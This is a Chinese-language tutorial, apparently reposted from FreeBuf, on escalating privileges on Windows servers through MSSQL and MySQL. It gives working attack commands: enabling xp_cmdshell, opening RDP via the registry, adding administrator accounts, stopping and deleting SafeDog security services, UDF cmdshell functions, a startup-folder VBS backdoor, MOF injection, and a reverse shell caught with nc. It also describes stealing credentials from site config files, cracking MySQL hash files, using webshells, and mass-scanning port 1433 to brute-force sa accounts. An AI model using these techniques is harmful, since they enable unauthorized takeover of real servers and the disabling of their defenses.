Windows数据库提权分析 – 作者:月明星稀乌鹊南飞

数据库提权

sqlserver数据库提权

MySQL数据库提权

需要具备数据库管理员权限才可执行提权操作

前提条件:

1.拥有数据库管理员账号密码权限

2.windows 系统下(没有被降权)

zkeys下的mysql被降权,还有宝塔也存在降权

Linux 下mysql的root权限是服务用户权限很小,不能提权

MSSQL提权

安装组件

开启3389

创建用户

提升权限

完成

sa账号获取:

爆破

查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp/aspx dbconfig.asp/aspx)

如获取到账号为xycms (不是sa,并不代表不是sa权限)

判断sa权限可以通过账号连接数据库软件,登录查看操作是否都能进行

如果有注入可以通过 sqlmap –is-dba 是true就是管理员权限,false表示不是

sqlserver一般允许sa 登录外部地址登录(mysql 的root 账号默认不允许外部地址登录)

如1433抓鸡就是扫一个如北京的地址段,筛选出开了1433的主机,然后去爆破一般都是sa,因为默认开了外联

默认开启外联(可以使用外部地址登录):

使用下图的工具SQLTOOLSV2.0输入sa 和密码登录1.png

执行命令测试,默认将cmd的组件禁用

2.png也可以使用MSSQL查询分析器(win10内可能不能使用)

如果登录后可以操作自带的SQL sever的数据库侧面证明是sa权限

3.png

mssql安装执行命令组件

安装cmd_shell组件

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO 
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

4.png5.png然后再次回到之前的工具就可以执行命令了(然后创建账号,添加到管理员组)

6.png然后登录外联mstsc,如果不能登录就需要去开启3389

开启3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
关闭3389
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

7.png然后用刚才创建的账号登录,全部操作完成后将3389关闭

然后再将cmd组件删除删除cmd_shell组件,清理可以使用下面的

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO

 

绕过安全狗提权

安全狗对于创建账号是不拦截的,拦截的是将用户添加到管理员组

可以通过远程桌面用户组来登录

10.png但是这个组只是普通用户权限,需要给文件进行降权

cacls d: /e /t /g everyone:F

 

另一种方法:由于这些安全软件都是由驱动层保护的,在应用层的是不能结束驱动层的,可以通过以下命令禁止随机启动,然后重启(对于禁止重启无解)

system权限的情况下:
net stop "safedog guard center" /y
net stop "safedog update center" /y
net stop "safedogguardcenter" /y
删除安全狗服务:
sc stop "SafeDogGuardCenter"
sc config "SafeDogGuardCenter" start=disabled
sc delete "Safedogguardcenter"

sc stop "SafeDogupdateCenter"
sc config "SafeDogUpdateCenter" start=disabled
sc delete "SafedogUpdatecenter"

sc stop "SafeDogCloudHeler"
sc config "SafeDogCloudHeler" start=disabled
sc delete "SafeDogCloudHeler"

也可以试着使用

遐想.exe

对于只能127内部访问的:

使用大马11.png

由于组件被禁,需要提交一个可以执行sql语句的马(如绿马)

然后写入sa的密码在pwd后面,然后开启cmd shell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 

然后去sql—sa测试使用

13.png权限为system提权成功,全部操作完成后关闭cmd shell

MySQL数据库提权

udf提权启动项提权mof提权反连端口提权

udf提权

首先获取到对方的mysql数据库下的root账号密码

1. root账号获取:

mysql调用php的站点大部分不使用root账号,都是根据不同站设置不同的用户去访问的

可以通过网站源码获取 (conn.php config.php dbconfig.php db.php config.inc.php common.inc.php(织梦的))

存放目录一般为data,inc,include等

14.png

有可能找到的不是root,而是如xycms这样的

分析网站属性:

阿里云虚拟机 300多个站(虚拟机会根据不同站点创建不同的数据库用户链接数据库),一般是普通用户权限

如果是站点是企业自己的服务器,站点不多,比如九阳家电(单个服务器单个单站或者一个企业属性站点群)

我们得到账号 不是root 并不代表它就不是root权限(可以链接查看能获取mysql操纵一般就是管理员)

2.爆破(默认不能通过外部地址爆破root)

只能爆破127或者localhost

可以用大马

15.png也可以使用tuo.php大马

然后提交通过burp抓包对密码爆破跑字典16.png

3. 下载mysql数据库文件

一般都有权限可以访问到,除非专门设置

写入一个一句话,然后通过菜刀连接

17.png查看数据库安装路径下的user.myd (/data/mysql/)下载,然后打开下载的文件

18.png然后解密

19.png

如果解密出不来,或者不完整,或者登录使用这个密码不能登录(存在其他密码的可能性)

可以这样操作将user的3个文件都下载下来

20.png然后将下载的文件在本地的mysql中进行文件的替换(将自己的原本的user的文件备份,最好服务器用的什么版本本地替换的就用什么)21.png先将数据库停止,然后打开cmd进入打mysql下的bin目录下输入跳过验证的命令

mysqld --skip-grant-tables 跳过验证
mysql.exe -uroot    进入MySQL

打开mysql的命令行不需要输入密码直接回车进入

use mysql
select * from user

22.png

得到密文可以破解

暴力破解 mysql密码破解 3306端口入侵

udf提权原理:

通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd

使用toolsudf.php,然后输入破解到的密码登录,浏览器缓存可能对导致如下的失败

23.png切换浏览器打开成功(mysql5.1以下会导在c盘的windows目录下,5.1以上的会倒在如下图的plugin下)

24.png点击创建plugin目录

然后点击导出udf

然后点击创建函数

然后点击执行命令25.png

然后执行提权操作,创建用户,添加导管理员组

这种情况下生成个mdf的payload,用这个命令执行,得到的权限是当前权限(system权限)

但是直接路径去执行程序也是不能的,因为\会被转义,可以查看脚本写路径是用的双\\所以这里应该用双\\26.png

udf.dll存放目录:

C:\Winnt\udf.dll 2000

C:\Windows\udf.dll 2003

现在基本上win的服务器就这两个导出UDF.DLL

5.1以上版本需要导出到mysql安装目录lib\plugin\

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user cracer cracer /add');  
select cmdshell('net localgroup administrators cracer /add');  
drop function cmdshell; 删除函数

启动项提权

1、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

2、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

3、在表中插入内容

 

 

mysql>insert into a values (“set wshshell=createobject (“”wscript.shell””)”);

mysql>insert into a values (“a=wshshell.run (“”cmd.exe /c net user 1 1 /add””,0)”);

mysql>insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators 1 /add””,0)”);

 

 

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

4、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

5、输出表为一个VBS的脚本文件

mysql>select * from a into outfile “c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs”;

6.重启即可!(ms12-020溢出利用导致蓝屏,让它重启)

mof提权

第一种方法:

上传mof.php

然后登录27.png

先点击利用成功

28.png然后写入命令添加用户以及添加导管理员组用&&连接

29.png

往往一次执行不成功,需要多次点击执行,可以通过抓包一直发

将包发到爆破组中然后对一个无关紧要的数据添加变量,让他一直跑30.png

31.png

第二种方法:

上传文件x.mof

使用select命令导出入到正确位置

命令执行可以用testa.php这个大马

32.pngselect load_file(‘C:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’

允许外部地址使用root用户连接的sql语句

Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;

反链端口提权

1、需要上传一个高版本的脚本,然后登录脚本33.png

先导出udf

34.png导出成功之后,点击创建反弹函数

然后点击执行反弹

由于他会识别你的ip,会直接反弹到你的ip,如果自己在内网需要对方反弹到一个vps/ngrok上,需要将ip修改后执行反弹

35.png

2、本地监听你反弹的端口

nc存放

nc.exe -vv -l -p 2010开启监听

然后点击执行反弹

36.png成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

37.png38.png

然后通过创建用户等操作提权

执行命令

来源:freebuf.com 2020-06-07 21:09:22 by: 月明星稀乌鹊南飞

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论